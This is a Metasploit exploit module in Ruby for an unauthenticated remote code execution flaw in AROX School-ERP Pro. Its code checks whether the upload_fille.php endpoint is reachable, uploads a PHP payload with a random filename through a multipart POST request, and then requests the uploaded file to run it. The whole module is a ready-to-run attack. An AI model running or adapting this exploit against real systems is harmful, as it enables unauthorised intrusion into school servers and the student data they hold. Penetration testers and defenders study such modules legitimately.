## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => "AROX School-ERP Pro Unauthenticated Remote Code Execution", 'Description' => %q( This module exploits a command execution vulnerability in AROX School-ERP. "import_stud.php" and "upload_fille.php" do not have session control. Session start/check functions in Line 8,9,10 are disabled with slashes. Therefore an unathenticated user can execute the command on the system. ), 'License' => MSF_LICENSE, 'Author' => [ 'AkkuS <Özkan Mustafa Akkuş>', # Discovery & PoC & Metasploit module ], 'References' => [ ['URL', 'http://www.pentest.com.tr/exploits/AROX-School-ERP-Pro-Unauthenticated-RCE-Metasploit.html'], ['URL', 'https://sourceforge.net/projects/school-erp-ultimate/'] # Download ], 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [['Automatic', {}]], 'Privileged' => false, 'DisclosureDate' => "Jun 17 2019", 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, "Base ERP directory path", '/']) ] ) end def exec(shell) res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "greatbritain", "greatbritain", "upload_data", "#{shell}") # shell url }) end def upload_shell(check) fname = Rex::Text.rand_text_alpha_lower(8) + ".php" @shell = "#{fname}" pdata = Rex::MIME::Message.new pdata.add_part("" + payload.encoded, 'application/octet-stream', nil, "form-data; name=\"txtdocname\"; filename=\"#{fname}\"") pdata.add_part('Submit', nil, nil, 'form-data; name="btnsubmit"') data = pdata.to_s res = send_request_cgi({ 'method' => 'POST', 'data' => data, 'agent' => 'Mozilla', 'ctype' => "multipart/form-data; boundary=#{pdata.bound}", 'uri' => normalize_uri(target_uri.path, "greatbritain", "greatbritain", "upload_fille.php") }) if res && res.code == 200 && res.body =~ /Successfully/ print_status("Trying to upload #{fname}") return true else fail_with(Failure::NoAccess, 'Error occurred during uploading!') return false end end def exploit unless Exploit::CheckCode::Vulnerable == check fail_with(Failure::NotVulnerable, 'Target is not vulnerable.') end if upload_shell(true) print_good("Upload successfully.") exec(@shell) end end def check res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "greatbritain", "greatbritain", "upload_fille.php") }) unless res vprint_error 'Connection failed' return CheckCode::Unknown end if res && res.code == 200 && res.body =~ /upload_fille.php/ return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end end